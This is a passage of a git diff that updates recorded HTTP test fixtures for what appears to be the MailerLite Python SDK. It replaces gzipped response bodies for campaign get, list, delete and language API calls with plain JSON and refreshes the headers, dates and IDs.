uri: https://connect.mailerlite.com/api/campaigns/139789204514145550 + uri: https://connect.mailerlite.com/api/campaigns/165969226036676056 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cce1a64b01b-BEG + - 9818abedb85dc687-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 11:56:19 GMT + - Fri, 19 Sep 2025 11:16:33 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '113' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -66,14 +70,11 @@ interactions: uri: https://connect.mailerlite.com/api/campaigns/121212 response: body: - string: !!binary | - H4sIAAAAAAAAA6pWyk0tLk5MT1WyUgpKLc4vLUpOVcjLL1FIyy/NS9FTqgUAAAD//wMAZiyhmiEA - AAA= + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Campaign\\\\Campaign] + 121212\"\n}" headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9ccfce87b30f-BEG + - 9818abeefabdc687-BEG Cache-Control: - no-cache, private Connection: @@ -83,7 +84,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:19 GMT + - Fri, 19 Sep 2025 11:16:33 GMT Server: - cloudflare Transfer-Encoding: @@ -92,12 +93,18 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-ratelimit-limit: - '120' x-ratelimit-remaining: - '112' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/campaign-get.yml b/tests/vcr_cassettes/campaign-get.yml index 8b516e9..88f464c 100644 --- a/tests/vcr_cassettes/campaign-get.yml +++ b/tests/vcr_cassettes/campaign-get.yml @@ -13,41 +13,29 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/campaigns/139789204514145550 + uri: https://connect.mailerlite.com/api/campaigns/165969226036676056 response: body: - string: !!binary | - H4sIAAAAAAAAA7xXbW/bNhD+KyzRARsgx1aa9EXLigHdhmHoumHLl2EaiLN0lq+hSJU8JvEM//eB - 1Ivt1F3zYdgnkc+9H4/H01bWwCCLraRaFjJ/9urFy1fni4vL/CK/uLy8XMhMQlXZYFgljpfPLvMI - GmhRFvId3ok30HZAjRHvIpZJ3nSR5LAJGpzMpGfg4GUhawcrlplsyXsyjept//lXJj0yk2l89IQd - VDfKdmi8LNgFzGTwqBprG40KDOgNU+VlsQLtMZNY2bZFV6FKkmSagbTL5Io0o+tt9Gu1sk6tQwtR - e4Rr1HSLbqN8tcY6aJSFCVpnUoNpAjTYB57LPbLPV4xubR1Xto4x6xgdefv82au0m7293ufqLSGH - WyrDIn+e3wDJTNbksGKyJnE7uctk5RAYawUsC3m+OL+Y5eezxYXI8+LyeZFfyEyGrv43lhfRqSGW - OoY7BvQhYBjEesAzOD5CVmTIrx8w2a47QmpcQdCssAXS6kHhXOYvX12cv4xOJHrM8kfVdcB0srqS - JCw1qk+X5Z5nKLhqqEO/r8FlIF2jU2tutczkytlWFpLRc/Dovo0a0GliPKtsOzCo4biu0bP4GYzM - pMNObxRbWUhq7Am5XmTIV1i+xyoezfWavCAvQBi8E9GqGH0UI1cmK2sYTeS/evLdL2+u//j1exH9 - fV2aq+ErxNUaoU4rIa6ezGbbpxFQbLvdbPb6AFlaZttGcGBmYo2vH+HKVTnveZO9cj5ZvFraeiMq - Dd5/U8pSCs8bjWl55FFkO/boEBk41/mwEiImeEDL+To/lPkoimRSxFP9ppSM91zOK+8nB85a/YO1 - jE502xZcQ6ZY7L5tsSYQ1uiN8JVDNAJMLb5s4X52RzWvi+cXi+7+q+1Zq9/0h3Ad62nbE/PF4osn - 1HbWMRj+uiUzGwlH+GDuAFppC1wYa3AP7vZGfgmMbttBXZNpZn2oR/IjSeOKi/yyuz9Bc9SsP0lk - 2x0q3O2mNKc8fjrTV+U8orH0ynkqPpnJTgMZFZMuC/n7LdINZaUpzU+pky29aODWMort0+Eu74SB - 8J7QaBi7Xfycr87ENcTVoiYIYpSPnxfPBOoz0UHPz1Z0zjYOWtgvDHaggW6s+PH657diZV0LbM+i - K+9O2xMNxEsqHHgmMVouosT2aXB6F1e/QgNuSRCD2ocQKSlIpCYIYCTevEdhcInGuqi0gcB0Iug+ - nEz4DoK/iZwHhrdPg/Fh6StHS9yVJrXqWJp+bVkFp8cu0jm8JbzrIblm7nxRzsv5gJ8dtCCyE1zO - Uwct533rLecnW+5/88RUmqob1ULXP6PkVY2eGoP1+GofPaD5//N8kld3ZEx884fxIE4faa7wqcsu - MplGC5VOLe2DoQ8B1UM47pUDTv6mO51gzy6NGHLxRXqvYxpOaPsI7/P1WX0H9XGsdYI/r8N30B7I - pu1nhdbg4vMRTHVk+AB+hGG74hM6DuDP61hZdweuPpQfoMfYrwi0IsPoIFXGsRsPqY88XsVWPaYa - ogdoagWrNHT2N/n0OOuVD+4WN1OZJuxDoL8npHMY3+BR0+6vxFQrMgoC2xZSfBN7fByPhlv52zSB - k1fDGDexr2F/U3pH+526RedjaiZVD+gxwji8M7XH9h5waaxiB2nBBNB6czA/VlHndugxY05q1Ljf - RSPjurLdZlw77CnjfJ+yNv0AnPglGG5/b/hU3iswaonT8L+3CsZYPiIph+DtlI+Y1BYcTxkhU+O9 - sl2qrHGSngyRV9B1mvqZ/F9EJ4k7cKb/KYoN1mFFHaHhqaTPM2nwnpVn7A6cqoJzaFhvJu028MN4 - K9vRPthYDEvwVKnxh6nHD7Gjs95KMpUONdaqcTZ0g494fwKcOD02bfT/Ae8xDFqreDlvUU0dzw03 - p+/vqKmhOPenNPYhjg4bxNorhx3Q+ALsdv8AAAD//wMAo/Lf9eUOAAA= + string: '{"data":{"id":"165969226036676056","account_id":"83510","name":"New + Campaign Name","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a new test + campaign subject","content":"<!DOCTYPE html>\n<html>\n <head>\n <!--{$head_top}--><!--{$head_bottom}-->\n <title>This + is a new test campaign subject<\/title>\n <\/head>\n <body class=\"\" style=\"\">\n <!--{$body_top}-->\n <!--{$body_top}-->\n <h1>\n Test\n <\/h1><!--{$body_bottom}-->\n <style + type=\"text\/css\">\n .mlFooter p {\n margin: 0;\n }\n\n @media + only screen and (max-width: 640px) {\n .mlContentTable{\n width: 100%!important;\n min-width: + 10%!important;\n margin: 0!important;\n float: none!important;\n }\n\n .mlContentOuter{\n padding-bottom: + 0!important;\n padding-left: 15px!important;\n padding-right: 15px!important;\n padding-top: + 0!important;\n }\n }\n <\/style><!--{$body_bottom}-->\n <\/body>\n<\/html>","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","click_map":[],"is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"cannot_be_scheduled_reason":null,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"recipients_count":1004,"next_step":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cc41833b311-BEG + - 9818abe4182e1778-BEG Cache-Control: - no-cache, private Connection: @@ -57,7 +45,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:18 GMT + - Fri, 19 Sep 2025 11:16:32 GMT Server: - cloudflare Transfer-Encoding: @@ -66,14 +54,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '117' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-languages.yml b/tests/vcr_cassettes/campaign-languages.yml index 3947979..2cb4c7d 100644 --- a/tests/vcr_cassettes/campaign-languages.yml +++ b/tests/vcr_cassettes/campaign-languages.yml @@ -16,28 +16,16 @@ interactions: uri: https://connect.mailerlite.com/api/campaigns/languages response: body: - string: !!binary | - H4sIAAAAAAAAA5SXUU/jOBDHvwrKU1fCUhOnlPAGBRaWwqIWTqc77mGauK03xunaTve41X73U6as - Yk8Xo30ZOWn0+49nPDPu96QCB8nJ398TWSUnScaTw8SuG+PKphLJSQImOUykbY548fNJw3P3y+DU - wEKWHw6e2uFRNu5snneWF2hTfH+M7wHXRXKYVNKI0slGJyeJcSr5cfiqzHOiXIKvjE+vyhNwoJ7a - 4VAMCVE50xOzlBL/C4iWTf7qoU/tMB2WwtYdeFnFwHxEwesAvPZcXUstrIjR0iNCq2qfVgE7v+mB - 56BtHcNR3yoR0AQ7v/BoonUW/X3bPQoUAVA4duEBL4R1MoajWRY6oGn2OPdoeqWkjbp3THk24Fl2 - 4fPsBjC9aaNi0IJAn/8l0Ns/fw09GEzBSd3AMx7PwsgSPkSjOyZSS+lLLSW7vO6lLqXW78SDHqZl - UL9Lwy5nHs+ARkfHIG20lPaxXwl3cvoG92AwAQ1VPA6cCqyDU4ZPP/vOlVgY8Q37zkhkna1SXB/j - usA1xHpNNqRqQZTWhl15UboyW3C2jh5rmkbpfKB07PqhB147UBJ0Ew0IJX4J2uGXje55n2AD73YZ - Wnhq6/PUlk3/6IlTcFspupZ4lLZRLKUG+1aOTb19T6Vw7VbusDVEA8ozmqI2SFHLrh578i2sXnA2 - ve0oHWxa+Tyt2N20592JShgFuopXBW0+mNKeqdndZ4/ZmHjn5tTFTVi7wK69Uzm4F8ZK0Lv5m6f9 - FN5NXs47W5bROqCCQUw2it17Mblv1DtFkNJ4bILTsHHs/sHnGdeuWuwTEI1zWuxxF4aQz2ZvkQ8G - ZwasVNH+k9FyM0EqTcNmXipnza6/ZxpvDTxKpkG2QZCtYnOvw89VsxX6vTjT9mWDG4Ot2fxmH/kS - RdJCtkH/tVs296b8HIEQ3Ta9NrggY86wBy9jDzhAS1Pvpka0k2W0k60CslDs4yy41vFi1NnFwrNj - tBXaAm03wzmU0QKlcV+sfOXFip19DJTztCvFHK+/OV+g5WiH+H5n8Ru+++Y4uvO9e0mQ9+ea3d4Q - /bJXe1UYoc3RCrTV73lBu5QJGrNp2ewxdCLbbZP3MqEY2iIquXc6g5RbwyYvRhHVtA8xX/7eFlNa - s20wfNuaPZ4SNd6zXzXRjsY0xHnpefHL/y///PgfAAD//wMA3VL/zpYNAAA= + string: '{"data":[{"id":"23","shortcode":"ar","iso639":"ar","name":"(Arabic) + \u0627\u0644\u0639\u0631\u0628\u064a\u0629","direction":"rtl"},{"id":"34","shortcode":"ca","iso639":"ca","name":"Catal\u00e0","direction":"ltr"},{"id":"21","shortcode":"cz","iso639":"cs-CZ","name":"\u010cesk\u00fd","direction":"ltr"},{"id":"35","shortcode":"ch","iso639":"ch","name":"Chinese","direction":"ltr"},{"id":"16","shortcode":"dk","iso639":"da-DK","name":"Dansk","direction":"ltr"},{"id":"5","shortcode":"de","iso639":"de-DE","name":"Deutsch","direction":"ltr"},{"id":"15","shortcode":"ee","iso639":"et-EE","name":"Eesti","direction":"ltr"},{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},{"id":"8","shortcode":"es","iso639":"es-ES","name":"Espa\u00f1ol","direction":"ltr"},{"id":"9","shortcode":"mx","iso639":"es-MX","name":"Espa\u00f1ol + (Latinoam\u00e9rica)","direction":"ltr"},{"id":"17","shortcode":"fi","iso639":"fi-FI","name":"Finnish","direction":"ltr"},{"id":"6","shortcode":"fr","iso639":"fr-FR","name":"Fran\u00e7ais","direction":"ltr"},{"id":"26","shortcode":"frq","iso639":"fr-CA","name":"Fran\u00e7ais + (Canada)","direction":"ltr"},{"id":"36","shortcode":"he","iso639":"he","name":"(Hebrew) + \u05e2\u05d1\u05e8\u05d9\u05ea","direction":"rtl"},{"id":"20","shortcode":"hr","iso639":"hr-HR","name":"Hrvatski","direction":"ltr"},{"id":"7","shortcode":"it","iso639":"it-IT","name":"Italiano","direction":"ltr"},{"id":"37","shortcode":"ja","iso639":"jpn","name":"Japanese","direction":"ltr"},{"id":"14","shortcode":"lv","iso639":"lv-LV","name":"Latvie\u0161u","direction":"ltr"},{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},{"id":"32","shortcode":"hu","iso639":"hu-HU","name":"Magyar","direction":"ltr"},{"id":"13","shortcode":"nl","iso639":"nl-NL","name":"Nederlands","direction":"ltr"},{"id":"28","shortcode":"no","iso639":"nn-NO","name":"Norsk","direction":"ltr"},{"id":"33","shortcode":"pr","iso639":"fa-IR","name":"(Persian) + \u0641\u0627\u0631\u0633\u06cc","direction":"rtl"},{"id":"2","shortcode":"pl","iso639":"pl-PL","name":"Polski","direction":"ltr"},{"id":"18","shortcode":"pt","iso639":"pt-PT","name":"Portugu\u00eas","direction":"ltr"},{"id":"19","shortcode":"ptbr","iso639":"pt-BR","name":"Portugu\u00eas + (Brasil)","direction":"ltr"},{"id":"27","shortcode":"ro","iso639":"ro-RO","name":"Rom\u00e2n\u0103","direction":"ltr"},{"id":"22","shortcode":"sl","iso639":"sl-SI","name":"Slovenski","direction":"ltr"},{"id":"10","shortcode":"sk","iso639":"sk-SK","name":"Slovensky","direction":"ltr"},{"id":"11","shortcode":"se","iso639":"sv-SE","name":"Svenska","direction":"ltr"},{"id":"25","shortcode":"tr","iso639":"tr-TR","name":"T\u00fcrk\u00e7e","direction":"ltr"},{"id":"24","shortcode":"gr","iso639":"el-GR","name":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac","direction":"ltr"},{"id":"30","shortcode":"bg","iso639":"bg-BG","name":"\u0411\u044a\u043b\u0433\u0430\u0440\u0441\u043a\u0438","direction":"ltr"},{"id":"29","shortcode":"mk","iso639":"mk-MK","name":"\u041c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438","direction":"ltr"},{"id":"3","shortcode":"ru","iso639":"ru-RU","name":"\u0420\u0443\u0441\u0441\u043a\u0438\u0439","direction":"ltr"},{"id":"31","shortcode":"sr","iso639":"sr-Cyrl","name":"\u0421\u0440\u043f\u0441\u043a\u0438","direction":"ltr"},{"id":"12","shortcode":"ua","iso639":"uk-UA","name":"\u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430","direction":"ltr"}]}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cd309f4b01d-BEG + - 9818abf10da9f339-BEG Cache-Control: - no-cache, private Connection: @@ -47,7 +35,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:20 GMT + - Fri, 19 Sep 2025 11:16:34 GMT Server: - cloudflare Transfer-Encoding: @@ -56,14 +44,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '110' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-list.yml b/tests/vcr_cassettes/campaign-list.yml index f57f0e8..3daa4ec 100644 --- a/tests/vcr_cassettes/campaign-list.yml +++ b/tests/vcr_cassettes/campaign-list.yml @@ -16,41 +16,82 @@ interactions: uri: https://connect.mailerlite.com/api/campaigns?limit=10&page=1&filter%5Bstatus%5D=draft response: body: - string: !!binary | - H4sIAAAAAAAAA+xaWW/jNhD+KwKx3SfFlnxbRdECfSmK3aBo87YOiLE0lrmhSIWHE9fwfy9IHT7W - ObbJ7vbwk6nhcA5yOPy+IBuSgQGSfNgQlpGExP3peDLtRYNhPIgHw+EwIiGBNJVWGOo1Jv1h7IQC - CiQJucS74GcoSmC5CC6dLCRmXbophbnloEhItAFjNUlIpmBhSEgKpjUTOa2dX4dEozFM5JokG2IU - pDdUlig0SYyyGBKrkeZS5hwpCOBrw1JNkgVwjSHBVBYFqhSpX8lEXk9tQ7Jg3KCqfFRjupCKLm0B - zroTZ8jZCtWa6nSJmeVIEmE5DwkHkVvIsUo8JjuJi7IV6qVUJpWZy5m77JiWo/7Uf128u9rt1TuG - xq7YzEbxKL4BRkKSMYWpYVJ4bUW2IUkVgsGMgiEJ6UW9wUXcu4gGQRwnw1ESD0hIbJk9pjJ2QdW5 - ZC7dJqFbi7ZeVgm0AWUOJAsmmF4eKcmyPJBkuADLDcUCGKdHhTOMJ9NBb+KC8PP6VHXtKZ2sLr8S - 5hzpw2W506kLLq3rUO9qcG4Zz1DRpSk4CclCyYIkxKA2VqP6yVlAxZnBTiqLWoHWx3WF2gTvQZCQ - KCz5mhpJEsJyeWJdtaTeLzv/iKk7mqsl0wHTAQQC7wLnNWhiDBqtkJQcmKAG792SP1bIblg4EzPx - qy+UuQ5yWEmDweZNvVXbQID9yFBwaIrJ/fQWneAK3CjKGNigWe9+xv0AeScoodI3MiiVzBUUsBsI - LIEDu5HBL1fv3wULqQowsuNCuTztL8jB7UGgQBsWNJ4Tt2Lzxiq+daPfIAc1Z+CS2qXgZnySyHIb - gEFm1h8xEDhHIZUzmoM17ETSVTphoEuw+sZp7jnevLFC27lOFZvjdib8TVCIQi+loVbx5pBKhSuG - d5WILI0pdTLrzrq1vLN3wky24lnXF+isW1X2rHuyol/nBjNNM9QsF5g1XfCgIcVfpx0xTe+YEK6H - 1u3WdXPfpzUKQ5IoJL5VU39M/tsKdmuRHovdN1VgfLwLLqESa6N8yybRd77/cZbenLD2idwLnra3 - VxCHVlvx0zZ0CcXeWv/55KIlqIzOpRXpgeM98TMcy4U5YWNP/LSNhVR3oLL99bXoOf5TBpwyYVCB - r4zDMI5nn3m81Ej6nGpwEaDIKCz8I15d3dPwQFNt1QrXbZl62a1lf7aSUuESIWssba+9UkaZoGCN - LMDn16q7J+QALJDfW0TDNK2fxVZ9CbubUgVafdEVKu22pjV1NO8ydGDIsOLQ35EWx9S1jAKEBc7X - e+9x6mxu6qbS7EmGHHdfzkkzTmW5bsYKq5kGL/ldawHVCYhV3/7K8al9T0HQObZgqvXqtqwAZdp8 - mcjwnsrS102DO1ozTFMoS84qBPPI0nbFHShRQUiH6gTeG6oNlk2sTDDjqnW/O9czmqZWKRSGr1sX - 0prjlFJZsl0+7rznoFlKG4xZyfdlB8e5IUyk3GaY0VxJW9aB4v0JYaupMS9QmGPdQzFwTt39WyFt - m5qqL0fVwpGznDmo5PeySrEJWCBmmiosgam2EPYR22TQG4ziyXQ0mfbHT/ABD5oaQnDmAl+OCwz6 - iUfBjyCJRuWbcAFfNP3+aDCN+tOHuMCx0rO5wHFJ/pu4wAEPOOP/r43/98C+NlJBjp2qm0DJtDvC - WXd3pBe71fqiVDKbdXeSIxpwUMyzbtybDO7H/dHuTl7Ud7LfKUVOXpeDHN+kl3eO4ZmDnDnImYOc - OciZg5w5yDfnIKNRrz+Op9FgMhgO/nccZAfhyT+QisTDJO49Dij6wyQafkpFnNbwIoovojiIe0kU - JZE7x5dzkwfcP0RWfHX1e6PxdDroP0RWjpWeTVaOa/czyMqZp5x5ymvzlIM6foinxKMkHn0BnnJ8 - iV7WVuJx1TDOPOXMU8485QvxFEJei6XsQOuZpJxJyn+CpFyHhDNx46NeMKXNwQuZSiEwNZ1D7DXr - Qslm3Rb1/VhCjj9UQP6FBtzb25yW8EjN/5UhJAU6ZrMh9fnR0j+FcQMv48r3Tlwn9WFD9v5pgsMc - HQR4y+HWyu+D39xLL632YNjt6h51OwYLn78Vla94z3h1TCdDusR7E7xVPq5PwrkOSQlm+TficVuK - qtmWKCQOT/fdjwHuR5DnCvOmIW5ciZFkGNbU0mkohGxd9WsPAnrb7fYvAAAA//8DAFZmsSB4JwAA + string: '{"data":[{"id":"165969226036676056","account_id":"83510","name":"New + Campaign Name","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a new test + campaign subject","plain_text":"Sveiki,\n\nJ\u016bs gavote {$account} naujienlai\u0161k\u012f. + Ta\u010diau J\u016bs\u0173 el. pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f + galite rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false},{"id":"165969177114313854","account_id":"83510","name":"Test","type":"regular","status":"draft","missing_data":["content"],"settings":{"track_opens":true,"use_google_analytics":false},"filter":[[{"operator":"in_any","args":["groups",["100093655191127682"]]}]],"filter_for_humans":[["In + any group: Grupa 1"]],"delivery_schedule":null,"language_id":"4","language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"created_at":"2025-09-19 + 11:15:41","updated_at":"2025-09-19 11:15:41","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969177139479684","emails":[{"id":"165969177139479684","account_id":"83510","emailable_id":"165969177114313854","emailable_type":"campaigns","type":null,"from":"test@igor.fail","from_name":"Igor","reply_to":"test@igor.fail","name":null,"subject":"Test","plain_text":"Hello,\n\nYou + have received a newsletter from {$account}.\n\nHowever, your email software + can''t display HTML emails. You can view the newsletter by clicking here:\n\n{$url}\n\n\n\nYou''re + receiving this newsletter because you have shown interest in {$account}.\nNot + interested anymore? Click here to unsubscribe:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969177139479684","created_at":"2025-09-19 + 11:15:41","updated_at":"2025-09-19 11:15:41","is_designed":false,"language_id":4,"language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":false,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"initial_created_at":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[{"id":100093655191127682,"account_id":83510,"created_at":"2023-09-23T08:12:28.000000Z","updated_at":"2025-04-23T05:47:38.000000Z","deleted_at":null,"name":"Grupa + 1","active_count":1,"open_rate":"1","click_rate":"0.5","serial_no":1068792,"sent_count":4,"opens_count":4,"clicks_count":2,"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0}],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":false},"is_eligible_for_sending":true,"needs_repair":false},{"id":"163431877871404413","account_id":"83510","name":"Video","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false},"filter":[[{"operator":"in_any","args":["groups",["100093655191127682"]]}]],"filter_for_humans":[["In + any group: Grupa 1"]],"delivery_schedule":null,"language_id":"4","language":{"id":"4","shortcode":"en","iso639":"en-US","name":"English","direction":"ltr"},"created_at":"2025-08-22 + 11:06:24","updated_at":"2025-08-22 11:06:24","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"163431877889230206","emails":[{"id":"163431877889230206","account_id":"83510","emailable_id":"163431877871404413","emailable_type":"campaigns","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":null,"subject":"Video","plain_text":"Hello,\n\nYou + have received a newsletter from {$account}.\n\nHowever, your email software + can''t display HTML emails. You can view the newsletter by clicking here:\n\n{$url}\n\n\n\nYou''re + receiving this newsletter because you have shown interest in {$account}.\nNot + interested anymore? Click here to 